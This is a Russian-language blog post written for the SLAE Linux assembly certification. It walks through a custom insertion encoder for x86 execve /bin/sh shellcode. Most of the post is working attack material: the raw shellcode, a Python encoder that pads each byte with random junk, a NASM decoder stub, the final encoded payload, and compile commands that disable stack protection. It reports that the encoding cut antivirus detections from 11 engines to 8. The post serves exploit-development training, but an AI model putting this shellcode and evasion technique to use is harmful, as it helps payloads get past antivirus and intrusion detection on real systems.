Этот пост представляет собой анализ пользовательского кодировщика шелл-кода для Linux x86. Это необходимо для выполнения требования, указанного в вопросе 4. Создайте пользовательскую схему кодирования, такую как «кодировщик вставки» и PoC, с использованием execve-stack в качестве кода оболочки для кодирования с помощью вашей схемы и выполнения.
Шаги, которые мы будем использовать
- Используйте шелл-код execve-stack и получите шелл-код с помощью objdump
2. Используйте скрипт python для кодирования вставки и создайте закодированный код оболочки
3. Написать шелл-код декодера
Что такое кодировщик вставки › добавить мусор или случайное значение в шелл-код, чтобы спутать AV и IDS.
Итак, мы потребовали
› шелл-код execve-stack
› кодировщик питона
› заглушка декодера в nasm
Шеллкод от execve
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”
Добавьте это в файл shellcode.c и проверьте, правильно ли он работает.
gcc shellcode.c -fno-stack-protector -z execstack -o shellcode_execve
Итак, мы напишем кодировщик вставки, который будет добавлять 2 случайных байта после каждого символа, не очень эффективно используя пространство, но создаст уникальный шаблон.
##################################################### #!/usr/bin/python # Python Insertion Encoder import random shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" encoded2 = "" print 'Encoded shellcode ...' for x in bytearray(shellcode) : #encoded += '\\x' #encoded += '%02x' % x #encoded += '\\x%02x' % 0xAA #encoded += '\\x%02x' % random.randint(1,100) +'\\x%02x' % random.randint(101,255) encoded2 += '0x' encoded2 += '%02x,' %x #encoded2 += '0x%02x,' % 0xAA encoded2 += '0x%02x,' % random.randint(1,100) +'0x%02x,' % random.randint(101,255) print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode)) print 'Len: %d' % len(bytearray(encoded)) print 'Len: %d' % len(bytearray(encoded2)) ##########################################################
Результат ниже
0x31,0x35,0xf3,0xc0,0x5a,0x82,0x50,0x02,0xf9,0x68,0x09,0xf1,0x2f,0x09,0xe8,0x2f,0x2e,0xab,0x73,0x42,0xab,0x68,0x3d,0x70,0x68,0x2f,0xcd,0x2f,0x40,0x6d,0x62,0x0d,0x9c,0x69,0x28,0xbd,0x6e,0x59,0xe0,0x89,0x29,0xfa,0xe3,0x44,0xf9,0x50,0x29,0xb3,0x89,0x13,0x74,0xe2,0x3b,0x93,0x53,0x2b,0xf2,0x89,0x3c,0xb4,0xe1,0x54,0xe9,0xb0,0x2d,0x95,0x0b,0x34,0xe6,0xcd,0x54,0xaa,0x80,0x07,0xe8,0xfe
Мы добавим \xfe в конце, чтобы определить конец нашего шелл-кода.
Теперь давайте напишем заглушку декодера, чтобы пропускать каждые два байта из шелл-кода.
############################################################ ; Filename: insertion-decoder.nasm ; Author: SLAE-1268 ; ; Purpose: Insertion Decoder SLAE Q4 global _start section .text _start: jmp short call_shellcode decoder: pop esi lea edi, [esi +1] xor eax, eax mov al, 1 xor ebx, ebx decode: mov bl, byte [esi + eax] xor bl, 0xfe ; compare if the value is 0xfe jz short EncodedShellcode mov bl, byte [esi + eax + 2] mov byte [edi], bl inc edi add al, 3 jmp short decode call_shellcode: call decoder EncodedShellcode: db 0x31,0x35,0xf3,0xc0,0x5a,0x82,0x50,0x02,0xf9,0x68,0x09,0xf1,0x2f,0x09,0xe8,0x2f,0x2e,0xab,0x73,0x42,0xab,0x68,0x3d,0x70,0x68,0x2f,0xcd,0x2f,0x40,0x6d,0x62,0x0d,0x9c,0x69,0x28,0xbd,0x6e,0x59,0xe0,0x89,0x29,0xfa,0xe3,0x44,0xf9,0x50,0x29,0xb3,0x89,0x13,0x74,0xe2,0x3b,0x93,0x53,0x2b,0xf2,0x89,0x3c,0xb4,0xe1,0x54,0xe9,0xb0,0x2d,0x95,0x0b,0x34,0xe6,0xcd,0x54,0xaa,0x80,0x07,0xe8, 0xfe #############################################################
использование objectdump для извлечения кода оболочки
objdump -d ./insertion-decoder|grep ‘[0–9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1–6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘’ -s |sed ‘s/^/”/’|sed ‘s/$/”/g’ “\xeb\x1d\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xfe\x74\x10\x8a\x5c\x06\x02\x88\x1f\x47\x04\x03\xeb\xed\xe8\xde\xff\xff\xff\x31\x35\xf3\xc0\x5a\x82\x50\x02\xf9\x68\x09\xf1\x2f\x09\xe8\x2f\x2e\xab\x73\x42\xab\x68\x3d\x70\x68\x2f\xcd\x2f\x40\x6d\x62\x0d\x9c\x69\x28\xbd\x6e\x59\xe0\x89\x29\xfa\xe3\x44\xf9\x50\x29\xb3\x89\x13\x74\xe2\x3b\x93\x53\x2b\xf2\x89\x3c\xb4\xe1\x54\xe9\xb0\x2d\x95\x0b\x34\xe6\xcd\x54\xaa\x80\x07\xe8\xfe”
Запустите код с нашим файлом shellcode.c
gcc shellcode.c -fno-stack-protector -z execstack -o shellcode_insertion
Итак, у нас есть работающий шеллкод, который декодирует шеллкод во время выполнения.
Процесс декодирования можно наблюдать в gdb
Здесь мы видим, что первые 3 байта шелл-кода декодируются в памяти.
Эта техника не очень уникальна для уклонения от всех AV, но представляет собой базовую идею того, как этого можно достичь. Нам все же удалось обойти несколько антивирусов, если не все.
Исходный файл был обнаружен 11 движками, а закодированный — 8. Тем не менее есть возможности для улучшения!
Полный код сборки доступен в связанном репозитории git.
Git-репозиторий: https://github.com/iamr0b0t/SLAE
Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/< br /> Идентификационный номер студента: SLAE-1268